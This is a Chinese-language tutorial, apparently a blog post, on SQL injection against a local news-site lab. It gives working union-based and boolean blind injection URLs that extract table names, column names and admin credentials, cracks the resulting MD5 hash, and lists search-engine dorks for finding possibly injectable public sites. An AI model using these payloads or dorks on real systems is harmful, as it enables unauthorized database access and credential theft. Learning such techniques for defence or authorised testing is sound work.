SQL注入详解

第一个方法联合注入从页面中获取数据库的信息。

第二个方法布尔盲注没有利用页面中显示的具体内容,所以称为盲注。

盲注需要一个字符一个字符的猜解,所以采用全手工的方式,耗时耗力。一般要结合工具或代码来完成。

  • 常见的sql注入
  1. 按照注入位置
  • get注入
  • post注入
  • cookie注入
  • http请求包的其它位置注入

2. 按照参数类型

  • 数字型注入
  • 字符型注入-需要使用单引号或双引号闭合

3. 按照结果反馈分类

union注入

页面中显示sql语句的报错信息

页面显示sql的执行结果这种条件可以直接使用联合注入

盲注

页面中不会显示sql语句的报错信息

页面不会显示sql的执行结果

  • 普通sql注入

2.1 找注入点

1). 增加单引号报错,说明有注入点

http://127.0.0.1/news/show.php?id=46'

2).两者输出不同,此处存在注入点

http://127.0.0.1/news/show.php?id=46 and 1=1

http://127.0.0.1/news/show.php?id=46 and 1=2

3).对数值做减法运算,如果有正常输出,大概率存在注入点,不用 +

http://127.0.0.1/news/show.php?id=46-1

3.1猜解Sql查询语句中的字段数量

select * from 表名 where id= 50 order by n ;# n从1开始,不断增加n的值。判断查询的字段数量

http://127.0.0.1/news/show.php?id=50 order by 15 # 正常显示

http://127.0.0.1/news/show.php?id=50 order by 16 # 报错,告诉我们没有第16个字段

Sql查询语句中的字段数量为 15

3.2 确定显示的字段位置(利用显示字段获取系统信息)                                                   

使用union select 进行联合查询。前后的字段数量要一致,类型可以不一致。

在浏览器中:

http://127.0.0.1/news/show.php?id=-46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

3.3 获得news中的所有表名(转换成16进制查看)

原理(在mysql编译器中执行):

select * from news_article where id=-46  union  select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news';

在浏览器中修改url为:

http://127.0.0.1/news/news/show.php

?id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'

将十六进制选中在HEX中进行转换

3.3 获取news数据库的news_users表中的所有字段名

原理:

select * from news_article where id=-46

Union Select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users';

在浏览器中修改url为:

http://127.0.0.1/news/show.php

?id=-46 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users'

3.4获取指定字段的数据

原理:

select * from news_article where id= -46 union

select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;

构造url:

http://127.0.0.1/news/show.php

?id=-46 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;

如何利用google(bing)搜索引擎查找可能存在注入点的网站。bing.com使用bing国际版,输入:

inurl:.php?id=

inurl:.asp?id=

inurl:.aspx?id=

查找在url中,包含.php?id=1数据的页面。非常典型的get传参页面。

  • SQL盲注

4.1判断注入点

http://127.0.0.1/news/show.php?id=46 and 1=1 # 正常显示

http://127.0.0.1/news/show.php?id=46 and 1=2 # 不显示

and 1=2 # 不显示说明有注入点

4.2 获取当前数据库名称长度

构造URL:

n的值由1逐渐递增,当新闻正常显示时,n的值就是数据库名称长度。结果是 n=4

http://127.0.0.1/news/show.php?id=46 and length(database())=n --+

4.3获取数据库名称(猜到)

原理:

先变换n的值,获取对应的字母;变换m的值,获取其它字母

 m:[1, 4 ],n: [32,126]可见字符的范围

构造URL:

select substr(database(),m,1)=’n’ --+

只有猜中时才显示内容,m是从第一个开始,n是这个字母是什么

拿到数据库的acsii码值(因为acsii码是递增1,多字符时比较好猜):

select ord(substr(database(),m,1))=’n’ --+

4.4获取news数据库的所有表名组合起来的字符串

获取表名长度

原理(在数据库中输入的内容):

select length((select group_concat(table_name) from information_schema.tables where table_schema='news'));

构造URL:

http://127.0.0.1/news/show.php

?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=n

Length可以是改成很多数据库函数:substr()、ord(substr())、等

获取表名组成的字符串的每一个字符

原理(在数据库中输入的内容):

select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'), 6 ,1))= 97 ;

构造URL:

http://127.0.0.1/news/show.php

?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'), m ,1))= n

4.5猜解表中的字段名

原理:

select length((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'));

构造URL:

m的范围:[1,24] n的范围: [32,126]

http://127.0.0.1/news/show.php

?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

4.6 猜数据

原理:

select length((select group_concat( username ) from news_users));

select group_concat(username) from news_users;

select ord(substr((select group_concat(username) from news_users),1,1))=97;

构造URL:

http://127.0.0.1/news/show.php

?id=46 and ord(substr((select group_concat(username) from news_users),1,1))=97

得到news数据库的news_users表的username字段的值:admin

按照相同的方式,可以获取password字段的hash值: e10adc3949ba59abbe56e057f20f883e

再通过cmd5查询得到值: 123456

四、Sql注入的前置知识

# 1. information_schema库(其它数据库的元数据,有其它数据库结构的信息)

information_schema 是mysql5.0以上版本中自带的一个数据库。

# 2. tables 表

information_schema库中的tables表中table_schema列(存储数据库名)和table_name列(存储表名)

# 3. columns表

information_schema库中的columns表中table_schema列(存储数据库名)、table_name列(存储表名)、column_name列(存储列名)。

# 4. table_schema字段

字段中存储着所有数据库的名

# 5. table_name字段

字段中存储着所有数据的表名

# 6. column_name字段

字段中存储着所有的字段名

# 获取指定数据库的所有表名

select table_name from information_schema.tables  where table_schema='库名';

#获取news数据库的news_users表的所有字段名

select column_name from information_schema.columns where table_schema='数据库名' and  table_name='news_users';

#获取news数据库的news_users表的username,passowd字段的数据

select username,password from news.news_users;

图片上传未成功

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值